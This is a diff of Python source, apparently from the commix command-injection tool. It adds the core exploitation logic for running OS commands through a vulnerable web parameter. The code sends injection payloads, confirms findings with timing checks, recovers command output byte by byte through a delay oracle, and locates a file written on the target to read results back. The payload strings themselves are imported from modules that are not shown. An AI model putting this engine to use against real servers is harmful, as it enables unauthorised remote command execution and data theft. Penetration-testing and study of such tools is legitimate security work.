+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ if failed_positions:
+ settings.INCOMPLETE_OUTPUT = True
+ warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character"
+ warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no delay was ever observed for "
+ warn_msg += ("them" if len(failed_positions) != 1 else "it") + ", on a second attempt either) - "
+ warn_msg += ("they are" if len(failed_positions) != 1 else "it is") + " marked '"
+ warn_msg += settings.UNRESOLVED_CHAR + "' in the retrieved output below."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ check_end = time.time()
+ check_exec_time = int(check_end - check_start)
+ output = checks.decoded_byte_output("".join(str(p) for p in output))
+
+ # Check for empty output.
+ if output == (len(output) * settings.SINGLE_WHITESPACE):
+ output = ""
+
+ else:
+ check_start = 0
+ check_exec_time = 0
+ output = ""
+
+ return check_exec_time, output
+
+"""
+The main results-based command injection exploitation.
+"""
+def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique):
+
+ # Send one payload and hand back what the target answered.
+ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique):
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ from src.core.techniques.results_based import rb_payloads as payloads
+ elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ from src.core.eval.payloads import classic as payloads
+ else:
+ payloads = checks.file_based_payloads()
+
+ if interpreter:
+ if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ payload = payloads.cmd_execution_alter_interpreter(separator, TAG, cmd)
+ else:
+ payload = payloads.cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE)
+ else:
+ if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ payload = payloads.cmd_execution(separator, TAG, cmd)
+ else:
+ payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE)
+ if settings.VERBOSITY_LEVEL != 0:
+ shown_cmd = cmd
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ payload_msg = payload
+ if settings.COMMENT in payload_msg:
+ payload = payload.split(settings.COMMENT)[0].strip()
+ payload_msg = payload_msg.split(settings.COMMENT)[0].strip()
+ if settings.COMMENT in cmd:
+ shown_cmd = cmd.split(settings.COMMENT)[0].strip()
+ # The trace of what is actually being run, which for an internal command is the only word of
+ # it - but a command the user asked for on the command line has just been named already. The
+ # technique is named with the first of them because it need not be the one the command is
+ # being run for: a file-based technique is set up by asking the target where to write, and
+ # that question goes out through the results-based one where this target answered it, which
+ # is the whole of why that one alone is called usable. Said once and not again: what it
+ # explains holds for every internal command after it, and repeating it says nothing new.
+ if shown_cmd != menu.options.os_cmd:
+ debug_msg = "Executing the '" + shown_cmd + "' command"
+ if not settings.TECHNIQUE_NAMED_IN_TRACE:
+ settings.TECHNIQUE_NAMED_IN_TRACE = True
+ usable = "usable " if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED else ""
+ debug_msg += " through the " + usable + technique
+ debug_msg += "."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ return response
+
+ response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique)
+
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ tries = 0
+ # A request that keeps failing outright is not the file-based technique's boundary budget, so
+ # it does not wait on '--failed-tries' being settled to know how many times to try again.
+ max_tries = int(menu.options.failed_tries or settings.MAX_RETRIES) / 2
+ while not response:
+ if tries < max_tries:
+ response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique)
+ tries = tries + 1
+ else:
+ err_msg = "Something went wrong. The request has failed (" + str(tries) + ") times in a row."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ return response
+
+
+"""
+False-positive check and evaluation.
+"""
+def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False, show_dots=None):
+
+ payloads = execution.select_payloads_module(technique)
+
+ # silent=True skips the detection-phase chatter for a resume re-verify.
+ if not silent:
+ checks.check_for_false_positive_result(false_positive_warning)
+
+ # Whether to print one '.' per request below - tied to 'silent' unless the caller asks for the
+ # dots on their own, the way a caller with its own "please wait..." line does: its own progress,
+ # not the per-technique chatter 'silent' is there to drop.
+ if show_dots is None:
+ show_dots = not silent
+
+ # Varying the sleep time.
+ if false_positive_warning:
+ timesec = timesec + random.randint(3, 5)
+
+ # Verify the oracle with known logical properties; any failed relationship invalidates the round.
+ if not interpreter:
+ a, c, b = sorted(random.sample(range(1, 50), 3))
+ # End on a must-delay check; the caller re-validates the final exec_time.
+ # Only when boolean-based never already proved the point - just in case the backend hasn't
+ # properly recovered from an earlier delayed request; boolean-based ran no such delay, so a
+ # confirmation resting on it alone has nothing to let settle.
+ settle = not settings.BOOLEAN_BASED_STATE
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ litmus_checks = [
+ (payloads.windows_condition_check(separator, str(a) + "-" + str(a), 0, timesec), True),
+ ]
+ if settle:
+ litmus_checks.append((payloads.windows_condition_check(separator, str(a) + "-" + str(c), 0, timesec), None)) # discarded - lets the backend settle after any earlier delay
+ litmus_checks += [
+ (payloads.windows_condition_check(separator, str(a) + "-" + str(b), 0, timesec), False),
+ (payloads.windows_condition_check(separator, str(b) + "-" + str(c), 0, timesec), False),
+ (payloads.windows_condition_check(separator, "1-1", 999999, timesec), False), # deliberate mismatch
+ (payloads.windows_condition_check(separator, str(c) + "-" + str(c), 0, timesec), True),
+ ]
+ else:
+ litmus_checks = [
+ (payloads.condition_check(separator, str(a) + " -eq " + str(a), timesec, http_request_method), True),
+ ]
+ if settle:
+ litmus_checks.append((payloads.condition_check(separator, str(a) + " -eq " + str(c), timesec, http_request_method), None)) # discarded - lets the backend settle after any earlier delay
+ litmus_checks += [
+ (payloads.condition_check(separator, str(a) + " -eq " + str(b), timesec, http_request_method), False),
+ (payloads.condition_check(separator, str(b) + " -eq " + str(c), timesec, http_request_method), False),
+ ]
+ """
+ An expression the shell cannot evaluate is a control only where the gating skips on error.
+
+ A malformed '[' exits 2, and these separators reach their delay through '||', which runs on
+ any non-zero status - so the control would delay by construction, and condemn as a false
+ positive every point it was meant to confirm.
+ """
+ if separator not in (settings.PIPE_SEPARATOR, "||"):
+ litmus_checks.append((payloads.condition_check(separator, str(b) + settings.SINGLE_WHITESPACE + str(c), timesec, http_request_method), False)) # not a valid test expression
+ # Ends on a must-delay check; the caller re-validates the final exec_time.
+ litmus_checks.append((payloads.condition_check(separator, str(c) + " -eq " + str(c), timesec, http_request_method), True))
+ verified = True
+ for payload, expect in litmus_checks:
+ if payload is None:
+ verified = False
+ break
+ if show_dots and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ before = stability.requests_sent()
+ exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ if stability.request_was_retried(before):
+ verified = False
+ break
+ delayed = checks.time_related_shell(exec_time, timesec)
+ if not delayed:
+ checks.record_probe_response_time(exec_time)
+ if expect is not None and delayed != expect:
+ verified = False
+ break
+
+ if verified:
+ if not silent and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(" (done)")
+ return exec_time, str(randvcalc)
+ else:
+ if not silent:
+ checks.unexploitable_point(retry_attempt, retry_total)
+ return exec_time, ""
+
+ # Only the interpreter path reaches here - the check above answers for every other one, and its
+ # oracle is an exact match rather than the logical relationships used there.
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter)
+
+ output_length = 1
+ if show_dots and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method)
+ else:
+ payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
+
+ # Ask again, and only believe a finding that answers the same way every time.
+ def _retry_confirm(payload):
+ nonlocal exec_time, vuln_parameter, prefix, suffix
+ consecutive_hits = 0
+ for attempt in range(settings.FALSE_POSITIVE_RETRIES):
+ before = stability.requests_sent()
+ exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ if stability.request_was_retried(before):
+ continue
+ if checks.time_related_shell(exec_time, timesec):
+ consecutive_hits += 1
+ # Let the backend's own cooldown pass before trusting the next timing read.
+ time.sleep(timesec)
+ if consecutive_hits >= 2:
+ return True
+ else:
+ consecutive_hits = 0
+ checks.record_probe_response_time(exec_time)
+ return False
+
+ found_chars = _retry_confirm(payload)
+
+ if found_chars:
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = previous_cmd
+
+ output = []
+ # The verified value is in 1-7 (see handler.py's randv1/randv2 ranges), or a single digit under '--skip-calc'.
+ for ascii_char in (range(0, 10) if settings.SKIP_CALC else range(1, 8)):
+ if show_dots and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payload = payloads.fp_result_alter_interpreter(separator, cmd, 1, ascii_char, timesec, http_request_method)
+ else:
+ payload = payloads.fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method)
+ if _retry_confirm(payload):
+ output.append(ascii_char)
+ break
+
+ output = "".join(str(p) for p in output)
+
+ if str(output) == str(randvcalc):
+ if not silent and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(" (done)")
+ return exec_time, output
+ else:
+ if not silent:
+ checks.unexploitable_point(retry_attempt, retry_total)
+ return exec_time, ""
+
+ else:
+ if not silent:
+ checks.unexploitable_point(retry_attempt, retry_total)
+ return exec_time, ""
+
+"""
+Get the command output filename, skipping the prompt when resuming.
+"""
+def select_output_filename(technique, tmp_path, TAG, prompt=True):
+ # Ensure tmp_path is safe to concatenate.
+ tmp_path = checks.normalize_target_dir(tmp_path)
+
+ # If a custom filename is already set, handle tmp_path prefix depending on technique
+ if settings.CUSTOM_FILENAME:
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ if not settings.CUSTOM_FILENAME.startswith(tmp_path):
+ settings.CUSTOM_FILENAME = tmp_path + settings.CUSTOM_FILENAME
+ else:
+ # Remove tmp_path prefix if present but technique is different
+ if settings.CUSTOM_FILENAME.startswith(tmp_path):
+ settings.CUSTOM_FILENAME = settings.CUSTOM_FILENAME[len(tmp_path):]
+ return settings.CUSTOM_FILENAME
+
+ # Generate default filename
+ OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT
+
+ while prompt:
+ message = "Do you want to use a random file ('" + OUTPUT_TEXTFILE
+ message += "') to receive the execution output? [Y/n] "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+
+ if procced_option in settings.CHOICE_YES:
+ break
+
+ elif procced_option in settings.CHOICE_NO:
+ message = "Enter a filename to receive the execution output "
+ message = common.read_input(message, default=OUTPUT_TEXTFILE, check_batch=True)
+
+ OUTPUT_TEXTFILE = message
+ info_msg = "Using '" + OUTPUT_TEXTFILE + "' for execution output."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ break
+
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+
+ else:
+ common.invalid_option(procced_option)
+
+ # Prepend tmp_path if needed
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ OUTPUT_TEXTFILE = tmp_path + OUTPUT_TEXTFILE
+
+ settings.CUSTOM_FILENAME = OUTPUT_TEXTFILE
+ return OUTPUT_TEXTFILE
+
+"""
+Find the URL directory.
+"""
+def injection_output(url, OUTPUT_TEXTFILE, timesec, technique):
+
+ # The document root the target's own URL implies, where none was given.
+ def custom_web_root(url, OUTPUT_TEXTFILE):
+ path = _urllib.parse.urlparse(url).path
+ if path.endswith('/'):
+ # Contract again the url.
+ scheme = _urllib.parse.urlparse(url).scheme
+ netloc = _urllib.parse.urlparse(url).netloc
+ output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE
+ else:
+ try:
+ path_parts = [non_empty for non_empty in path.split('/') if non_empty]
+ count = 0
+ for part in path_parts:
+ count = count + 1
+ count = count - 1
+ last_param = path_parts[count]
+ output = url.replace(last_param, OUTPUT_TEXTFILE)
+ if "?" in output and settings.OUTPUT_FILE_EXT in output:
+ try:
+ output = output.split("?")[0]
+ except (Exception, SystemExit):
+ pass
+ except IndexError:
+ output = url + "/" + OUTPUT_TEXTFILE
+ settings.DEFINED_WEBROOT = output
+ return output
+
+ if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS or not settings.RECHECK_FILE_FOR_EXTRACTION:
+ if menu.options.web_root:
+ scheme = _urllib.parse.urlparse(url).scheme
+ netloc = _urllib.parse.urlparse(url).netloc
+ output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE
+ if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION):
+ if settings.MULTI_TARGETS:
+ settings.RECHECK_FILE_FOR_EXTRACTION = True
+ refusals = 0
+ while True:
+ message = "Do you want to use the URL '" + output
+ message += "' to receive the execution output? [Y/n] "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ settings.DEFINED_WEBROOT = output
+ break
+ elif procced_option in settings.CHOICE_NO:
+ message = "Enter URL to receive "
+ message += "the execution output "
+ message = common.read_input(message, default=output, check_batch=True)
+ # A path on the target answers the question as well as the whole URL does, and is what
+ # a sink serving the file through a script is most naturally named by.
+ if message.startswith("/"):
+ target = _urllib.parse.urlparse(url)
+ message = target.scheme + "://" + target.netloc + message
+ if not re.search(r'^(?:http)s?://', message, re.I):
+ common.invalid_option(message)
+ # An answer that cannot change is an answer that cannot be asked for again: a run
+ # that is not being watched, or one answering from '--answers', would otherwise be
+ # put the same question for as long as it is left alone.
+ refusals += 1
+ if refusals >= settings.MAX_INVALID_URL_ANSWERS:
+ err_msg = "The URL to receive the execution output must start with 'http://' or "
+ err_msg += "'https://', and '" + str(message) + "' does not."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ else:
+ output = settings.DEFINED_WEBROOT = message
+ info_msg = "Using '" + output
+ info_msg += "' for execution output."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ settings.RECHECK_FILE_FOR_EXTRACTION = True
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(procced_option)
+ pass
+ else:
+ output = custom_web_root(url, OUTPUT_TEXTFILE)
+ else:
+ output = settings.DEFINED_WEBROOT
+
+ # Announced once: the same URL is requested again for every separator tried.
+ if settings.VERBOSITY_LEVEL != 0 and output != settings.LAST_ANNOUNCED_OUTPUT_FILE:
+ settings.LAST_ANNOUNCED_OUTPUT_FILE = output
+ debug_msg = "Expecting the command execution output at '" + output + "'."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ return output
+
+"""
+Every URL the written file could be reachable at, the one already settled on first.
+
+A web root says where the file lands on disk, not where that is on the site - the directories
+between the document root and it are not in it to be read. Rather than guess which of them the
+document root ends at, each is tried in turn, starting with the shallowest.
+"""
+def output_file_candidates(output, url, OUTPUT_TEXTFILE):
+ candidates = [output]
+ if menu.options.web_root:
+ parsed = _urllib.parse.urlparse(url)
+ parts = [part for part in menu.options.web_root.replace("\\", "/").split("/") if part]
+ for depth in range(1, len(parts) + 1):
+ candidate = parsed.scheme + "://" + parsed.netloc + "/" + "/".join(parts[-depth:]) + "/" + OUTPUT_TEXTFILE
+ if candidate not in candidates:
+ candidates.append(candidate)
+ return candidates
+
+"""
+The response holding the written file, from whichever URL it turns out to be reachable at.
+"""
+def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique):
+ output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique)
+ for candidate in output_file_candidates(output, url, OUTPUT_TEXTFILE):
+ try:
+ response = checks.get_response(candidate)
+ except (_urllib.error.HTTPError, _urllib.error.URLError):
+ continue
+ if type(response) is bool or response is None:
+ continue
+ if candidate != output:
+ # Settled here, so the rest of the run asks for the one that answered rather than trying again.
+ settings.DEFINED_WEBROOT = candidate
+ info_msg = "Reading the execution output from '" + candidate + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return response
+ # The command may well have run and written its output - what could not be done is read it back,
+ # which is a different thing to say than that nothing came of the command.
+ warn_msg = "The execution output could not be read at '" + output + "'. "
+ warn_msg += "The file is written where '--web-root' says, so what is needed is the URL that serves it."
+ settings.print_once(warn_msg)
+ return None
+
+"""
+The output file's contents, read the way the command's own output is read - so that what the file
+held before a command can be told from what it holds after one.
+
+Only the newlines it ends with come off. A substitution drops those and stops at the first byte
+that is not one, which is what the techniques reading their answer off the page hand back, so this
+hands back the same. Stripped at both ends instead, a command whose output was indented, or padded,
+or was whitespace altogether came back without the part of it that said so: an output of a tab,
+three spaces, 'X' and seven more tabs arrived as 'X'. A carriage return taken off with them is the
+same mistake one byte smaller - an output ending 'a\r\nb\r\n' came back as 'a\r\nb', where a
+substitution hands back the carriage return that break left behind. A Windows target's own are
+dropped below, where they are the target's and not the command's.
+"""
+def output_file_content(response):
+ content = checks.process_page_content(response, action="encode")
+ content = content.rstrip(settings.END_LINE.LF)
+ # The bytes the file's own encoding could not read, back as the bytes the target wrote.
+ content = checks.decoded_byte_output(checks.restored_unreadable_bytes(content))
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ content = content.replace(settings.END_LINE.CR, "")
+ return content
+
+"""
+What the target says about the output file itself, which is how a read can tell that the write
+landed.
+
+An entity tag changes whenever the file does - its size and the moment it was last written are what
+it is made of - and a last-modified date says the same thing a second at a time. Both are the
+target's own account of the file, so neither depends on this machine's clock agreeing with the
+target's.
+"""
+def output_file_validator(response):
+ try:
+ served = response.info()
+ except Exception:
+ return None
+ validator = served.get("ETag") or served.get("Last-Modified")
+ if not validator:
+ return None
+ validator = validator.strip()
+ # A weak tag is the same tag, marked as one the target will not compare byte for byte itself.
+ return validator[2:] if validator.startswith("W/") else validator
+
+"""
+Whether what came back is this command's output rather than what the file held before it.
+
+A command the target never ran - a request it refused, a payload its shell would not parse - leaves
+the file exactly as it was, and reading it then answers with whatever wrote it last: the marker the
+detection phase put there, or the output of the command before this one. Handed back as this
+command's own, that is a wrong answer rather than a missing one, which is the worse of the two.
+
+Both the contents and the file's own validator have to be what they were for the write to be called
+missing. A command run twice writes the file again, so the validator moves even where the output it
+wrote is identical - and where the target serves no validator at all, nothing is withheld.
+"""
+def output_file_is_stale(content, validator, previous_content, previous_validator):
+ return (validator is not None and previous_validator is not None and
+ validator == previous_validator and content == previous_content)
+
+"""
+What the output file holds before any command has been run through it, remembered so that a command
+the target never runs cannot have it answered back as its own output.
+"""
+def remember_output_file(response):
+ if response is None or type(response) is bool:
+ return
+ settings.LAST_OUTPUT_FILE_CONTENT = output_file_content(response)
+ settings.LAST_OUTPUT_FILE_VALIDATOR = output_file_validator(response)
+
+"""
+Evaluate test results.
+"""
+def injection_test_results(response, TAG, randvcalc, technique, payload=None):
+ if type(response) is bool and response is not True or response is None:
+ return False
+
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED:
+ try:
+ import html
+ unescape = html.unescape
+ except ImportError: # Python 2
+ unescape = _html_parser.HTMLParser().unescape
+ # Check the execution results
+ html_data = checks.process_page_content(response, action="decode", guard=TAG)
+ html_data = html_data.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE)
+ # cleanup string / unescape html to string
+ html_data = _urllib.parse.unquote(html_data)
+ html_data = unescape(html_data)
+ html_data = checks.remove_reflected_values(html_data, payload)
+ if settings.SKIP_CALC:
+ shell = re.findall(r"" + TAG + TAG + TAG, html_data)
+ else:
+ shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data)
+ if len(shell) > 1:
+ shell = shell[0]
+ else:
+ html_data = checks.process_page_content(response, action="decode", guard=TAG)
+ # A Windows target ends its lines with CRLF, so every line break counts as the one whitespace
+ # the markers are looked up with.
+ html_data = re.sub(r"[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]+", settings.SINGLE_WHITESPACE, html_data)
+ html_data = checks.remove_reflected_values(html_data, payload)
+ if settings.SKIP_CALC:
+ shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
+ else:
+ shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
+
+ return shell
+
+"""
+Command execution results.
+"""
+def resolved_length(asks, minlen, confirmed=None, sanity=None):
+ """
+ How long the output is, found by growing a bracket until a length the output does not reach and
+ then halving it back - with 'asks' answering whether the output is at least the length it is given.
+
+ Nothing caps the growing but implausibility. Capped at what the run was willing to read instead,
+ the search had an upper bound nothing had answered for: an output exactly that long settled one
+ character short of itself, and one longer settled there too rather than being known to be longer.
+ What a run is willing to read is a limit on the reading, and is applied to that.
+
+ >>> [resolved_length(lambda _, n=n: _ <= n, 1) for n in (1, 3, 8, 100, 10000)]
+ [1, 3, 8, 100, 10000]
+ >>> resolved_length(lambda _: False, 1) is None
+ True
+ >>> resolved_length(lambda _: True, 1, sanity=64) is None
+ True
+ """
+ confirmed = confirmed or asks
+ sanity = int(sanity or settings.MAX_INFERRED_LENGTH)
+ lo, hi = int(minlen) - 1, None
+ candidate = max(1, int(minlen))
+ while candidate <= sanity:
+ if not confirmed(candidate):
+ hi = candidate
+ break
+ lo = candidate
+ candidate = candidate * settings.LENGTH_SEARCH_BASE
+ """
+ An answer of yes all the way up is not a very long output, it is an oracle agreeing with whatever
+ it is asked - so it is disbelieved rather than reported, the way a length past what could be read
+ is handed back as nothing at all instead of as the bound it ran into.
+ """
+ if hi is None:
+ return None
+ while hi - lo > 1:
+ mid = (lo + hi) // 2
+ if confirmed(mid):
+ lo = mid
+ else:
+ hi = mid
+ return lo if lo >= int(minlen) else None
+
+def resolved_ordinal(asks, char_pool, expands=True):
+ """
+ The ordinal of one byte, found by halving the range it can be in - with 'asks' answering whether
+ the byte is at least the ordinal it is given.
+
+ The halving is never asked about its own upper bound, so a byte that reaches the pool's last
+ character settles one below it, and so does a byte that carries on past the pool. That character
+ is asked about on its own, and where it holds and the pool is commix's own, the rest of the range
+ a byte can be is halved as well.
+
+ >>> pool = [9, 10] + list(range(32, 127))
+ >>> [resolved_ordinal(lambda _, b=b: _ <= b, pool) for b in (120, 125, 126, 127, 169, 195, 255)]
+ [120, 125, 126, 127, 169, 195, 255]
+ >>> resolved_ordinal(lambda _: _ <= 195, pool, expands=False)
+ 126
+ >>> resolved_ordinal(lambda _: False, pool) is None
+ True
+ """
+ def _halve(lo, hi):
+ while hi - lo > 1:
+ mid = (lo + hi) // 2
+ if asks(mid):
+ lo = mid
+ else:
+ hi = mid
+ return lo
+
+ top = max(char_pool)
+ lo = _halve(min(char_pool) - 1, top)
+ if lo == top - 1 and asks(top):
+ lo = top
+ if expands and asks(top + 1) and not asks(settings.HIGHEST_BYTE + 1):
+ lo = _halve(top, settings.HIGHEST_BYTE + 1)
+ return lo if lo >= min(char_pool) else None
+
+def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec):
+
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ try:
+ import html
+ unescape = html.unescape
+ except ImportError: # Python 2
+ unescape = _html_parser.HTMLParser().unescape
+ false_result = False
+ try:
+ # Grab execution results
+ html_data = checks.process_page_content(response, action="decode", guard=TAG)
+ """
+ Every line break stood in for, rather than thrown away.
+
+ The markers are looked for on a single line, so the breaks have to come out of the way first -
+ but a command's output is its own lines as much as its own characters, and replacing them with
+ spaces hands back a paragraph where the target answered a list. Marked here and put back once
+ what is between the markers has been taken, the way the evaluation sink below already does it.
+ """
+ new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
+ """
+ Each kind of break by a mark of its own, the pair taken first.
+
+ Marked as one thing and put back as a newline, a carriage return the command printed came
+ back as one: an output of 'a\rb' was answered with 'a\nb'. The three marks share a prefix,
+ so one of them is still as easy to find as the single mark was, and a Windows line break is
+ one mark rather than two - which is what keeps it a pair when it is put back.
+ """
+ page_marks = ((settings.END_LINE.CRLF, new_line + "B"), (settings.END_LINE.CR, new_line + "R"),
+ (settings.END_LINE.LF, new_line + "N"))
+ for sequence, mark in page_marks:
+ html_data = html_data.replace(sequence, mark)
+ # cleanup string / unescape html to string
+ html_data = _urllib.parse.unquote(html_data)
+ html_data = unescape(html_data)
+ shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data)
+ if not shell:
+ shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data)
+ if not shell:
+ return shell
+ try:
+ # Clear junks
+ shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell]
+ shell = [backslash.replace(r"\/","/") for backslash in shell]
+ # The output's own line breaks, back where they were and as what they were.
+ for sequence, mark in page_marks:
+ shell = [marked.replace(mark, sequence) for marked in shell]
+ # And the ones the target was asked to mark before it answered, which is how a break
+ # survives a sink that hands back a single line of what it ran.
+ shell = [marked.replace(settings.RESULTS_BASED_LF_MARKER, settings.END_LINE.LF)
+ for marked in shell]
+ shell = [marked.replace(settings.RESULTS_BASED_CR_MARKER, settings.END_LINE.CR)
+ for marked in shell]
+ # And the bytes the page's own encoding could not read, back as the bytes the target sent -
+ # written out at the point the page was read rather than thrown away, so they are still here.
+ shell = [checks.decoded_byte_output(checks.restored_unreadable_bytes(kept)) for kept in shell]
+ except UnicodeDecodeError:
+ pass
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ if menu.options.interpreter:
+ """
+ The one space this payload's own 'write-host' puts either side of the output, and only
+ that - it is handed the markers and the command as separate arguments, and joins them
+ with a single space each.
+
+ Stripped of whitespace instead, a command whose output was indented, or padded, or was
+ whitespace altogether came back without the part of it that said so: an output of a tab,
+ three spaces, 'X' and seven more tabs arrived as 'X', the same way the file-based
+ technique's own reading used to lose it.
+ """
+ padding = settings.SINGLE_WHITESPACE
+ shell = [padded[1:-1] if padded[:1] == padding and padded[-1:] == padding else padded
+ for padded in shell]
+ if "<<<<" in shell[0]:
+ false_result = True
+ else:
+ if shell[0] == "%i" :
+ false_result = True
+ except (AttributeError, TypeError):
+ false_result = True
+ if false_result:
+ shell = ""
+
+ elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
+ """
+ Every kind of line break stood in for, and each of them by a mark of its own.
+
+ A carriage return the command printed is a byte of its output like any other, and marked as the
+ same thing a newline is marked as, it came back as a newline: an output of 'a\rb' was answered
+ with 'a\nb'. The three marks share a prefix, so one pattern still matches whichever of them the
+ break a marker brought with it turned into - and the pair is taken first, so a Windows line
+ break is one mark rather than two.
+ """
+ marks = ((settings.END_LINE.CRLF, new_line + "B"), (settings.END_LINE.CR, new_line + "R"),
+ (settings.END_LINE.LF, new_line + "N"))
+ any_mark = new_line + "[BRN]"
+ # A break that ends a line, which is what the markers bring with them and what the output has
+ # dropped from its end everywhere else in this tool. A carriage return on its own ends nothing,
+ # so it stays: 'ab\r' is 'ab\r', the same way the techniques reading their answer off a
+ # substitution hand it back.
+ line_mark = new_line + "[BN]"
+ # Grab execution results
+ html_data = checks.process_page_content(response, action="decode", guard=TAG)
+ for sequence, mark in marks:
+ html_data = html_data.replace(sequence, mark)
+ """
+ What the two pairs of markers enclose, and only that.
+
+ The payload prints its markers with 'echo', which ends each of them with a line break, so what
+ sits between the pairs is one of those breaks followed by the command's own output. Read
+ instead as the text between two breaks, the output had to end with a break of its own for there
+ to be a second one to match: a command printing anything else - 'printf', 'echo -n', a program
+ that simply does not end on one - was answered with nothing at all, and reported as a command
+ that returned no output rather than as one whose output went unread. An output of several lines
+ that ended without a break lost its last line the same way.
+
+ So the break the marker brought is taken off by itself, the ones the output ends with go the
+ way a substitution drops them, and every other one stays where the command put it. Nothing is
+ taken off the ends beyond that: trimmed there as well, a command whose output was indented, or
+ padded, or was whitespace altogether came back without the part of it that said so.
+ """
+ shell = re.findall(r"" + TAG + any_mark + TAG + "(.*?)" + TAG + any_mark + TAG + "", html_data)
+ if not shell:
+ shell = ""
+ else:
